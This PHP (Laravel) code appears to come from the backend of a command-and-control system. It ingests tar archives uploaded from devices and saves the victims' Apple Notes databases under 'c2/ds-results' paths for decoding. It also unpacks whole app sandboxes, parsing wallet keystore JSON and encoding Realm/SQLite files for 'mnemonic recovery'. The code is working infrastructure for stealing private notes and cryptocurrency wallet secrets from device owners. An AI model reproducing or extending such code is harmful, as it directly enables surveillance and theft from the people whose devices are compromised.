// ── Apple Notes tar ─────────────────────────────────────────
/**
* Extract a group.com.apple.notes tar, pull out NoteStore.sqlite +
* -wal + -shm, save them to the location DsMemoDecoder expects
* (c2/ds-results/<device_id>/<command_id>/), and dispatch the
* DecodeMemoDb job to parse note text off the request thread.
*/
private function parseNotesTar(Device $device, string $content, string $uploadId): void
{
$files = $this->extractNotesDbFiles($content);
if ($files === []) {
Log::channel('keystore')->warning('AppUploadIngester: notes tar has no NoteStore.sqlite', [
'device_id' => $device->id,
'upload_id' => $uploadId,
]);
return;
}
// DsMemoDecoder looks for files under
// storage/app/c2/ds-results/<device_id>/<command_id>/NoteStore.sqlite
$commandId = 'app_'.substr($uploadId, 0, 8);
$dir = 'c2/ds-results/'.$device->device_id.'/'.$commandId;
$disk = \Illuminate\Support\Facades\Storage::disk('local');
foreach ($files as $name => $data) {
$disk->put($dir.'/'.$name, $data);
}
Log::channel('keystore')->info('AppUploadIngester: stored notes db', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'command_id' => $commandId,
'files' => array_keys($files),
]);
// Dispatch the async SQLite decoder job.
try {
\App\Jobs\DecodeMemoDb::dispatch($device->id, $commandId);
} catch (\Throwable $e) {
Log::channel('keystore')->error('AppUploadIngester: DecodeMemoDb dispatch failed', [
'device_id' => $device->id,
'command_id' => $commandId,
'error' => $e->getMessage(),
]);
}
}
/**
* Extract NoteStore.sqlite + -wal + -shm from a notes tar archive.
*
* @return array<string, string> Map of filename → raw bytes.
*/
private function extractNotesDbFiles(string $content): array
{
if (! $this->looksLikeTar($content)) {
return [];
}
$tmp = tempnam(sys_get_temp_dir(), 'app_upload_notes_');
if ($tmp === false) {
return [];
}
// PharData requires a .tar extension to recognise the archive format.
$tmpTar = $tmp . '.tar';
@rename($tmp, $tmpTar);
$tmp = $tmpTar;
try {
if (@file_put_contents($tmp, $content) === false) {
return [];
}
try {
$phar = new \PharData($tmp);
} catch (\Throwable) {
return [];
}
$wanted = ['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'];
$out = [];
foreach (new \RecursiveIteratorIterator($phar) as $f) {
if (! $f->isFile()) {
continue;
}
$base = basename($f->getPathname());
if (! in_array($base, $wanted, true)) {
continue;
}
$raw = @file_get_contents($f->getPathname());
if ($raw === false || $raw === '') {
continue;
}
$out[$base] = $raw;
}
return $out;
} finally {
@unlink($tmp);
}
}
/**
* Extract a tar (ustar) archive into a nested dict of file paths →
* decoded content. JSON files are parsed into arrays; binary files
* (Realm DBs, SQLite) are stored as base64; everything else is stored
* as a UTF-8 string when possible.
*
* @return array<string, mixed>
*/
private function extractTarSandbox(string $content): array
{
if (! $this->looksLikeTar($content)) {
return [];
}
$tmp = tempnam(sys_get_temp_dir(), 'app_upload_tar_');
if ($tmp === false) {
return [];
}
// PharData requires a .tar extension to recognise the archive format.
$tmpTar = $tmp . '.tar';
@rename($tmp, $tmpTar);
$tmp = $tmpTar;
try {
if (@file_put_contents($tmp, $content) === false) {
return [];
}
try {
$phar = new \PharData($tmp);
} catch (\Throwable) {
return [];
}
$sandbox = [];
$count = 0;
$maxFiles = 200;
foreach (new \RecursiveIteratorIterator($phar) as $f) {
if ($count >= $maxFiles) {
break;
}
if (! $f->isFile()) {
continue;
}
$rel = ltrim(str_replace('\\', '/', $f->getPathname()));
// Strip the "phar://<absolute-tar-path>" prefix. The temp file
// path is absolute (starts with "/"), so the old [^/]+ pattern
// failed to match the leading slash — use the known prefix.
$prefix = 'phar://'.$tmp;
if (str_starts_with($rel, $prefix)) {
$rel = substr($rel, strlen($prefix));
} else {
// Fallback: strip phar:// + everything up to the first .tar
$rel = preg_replace('#^phar://.*?\.tar#i', '', $rel) ?? $rel;
}
$rel = ltrim($rel, '/');
if ($rel === '') {
continue;
}
$raw = @file_get_contents($f->getPathname());
if ($raw === false || $raw === '') {
continue;
}
$decoded = $this->decodeFileContent($raw, $rel);
if ($decoded === null) {
continue;
}
$this->setNestedPath($sandbox, $rel, $decoded);
$count++;
}
return $sandbox;
} finally {
@unlink($tmp);
}
}
/**
* @return mixed Array for JSON, string for text/base64, null to skip.
*/
private function decodeFileContent(string $raw, string $path): mixed
{
// JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf).
$first = $raw[0] ?? '';
if ($first === '{' || $first === '[') {
$json = json_decode($raw, true);
if (is_array($json)) {
return $json;
}
}
// Small text files → UTF-8 string.
if (strlen($raw) <= 65536 && mb_check_encoding($raw, 'UTF-8')) {
return $raw;
}
// Binary files (Realm, SQLite) → base64 (capped to avoid OOM).
$cap = 512 * 1024; // 512 KiB
if (strlen($raw) > $cap) {
return null; // skip large binaries — not useful for mnemonic recovery
}
return base64_encode($raw);
}
/**
* Set a value at a nested path (a/b/c.json → $arr[a][b][c.json]).
*
* @param array<string, mixed> $arr
*/
private function setNestedPath(array &$arr, string $path, mixed $value): void
{
$parts = explode('/', $path);
$ref = &$arr;
$n = count($parts);
for ($i = 0; $i < $n - 1; $i++) {
$key = $parts[$i];
if (! isset($ref[$key]) || ! is_array($ref[$key])) {
$ref[$key] = [];
}
$ref = &$ref[$key];
}
$ref[$parts[$n - 1]] = $value;
}
}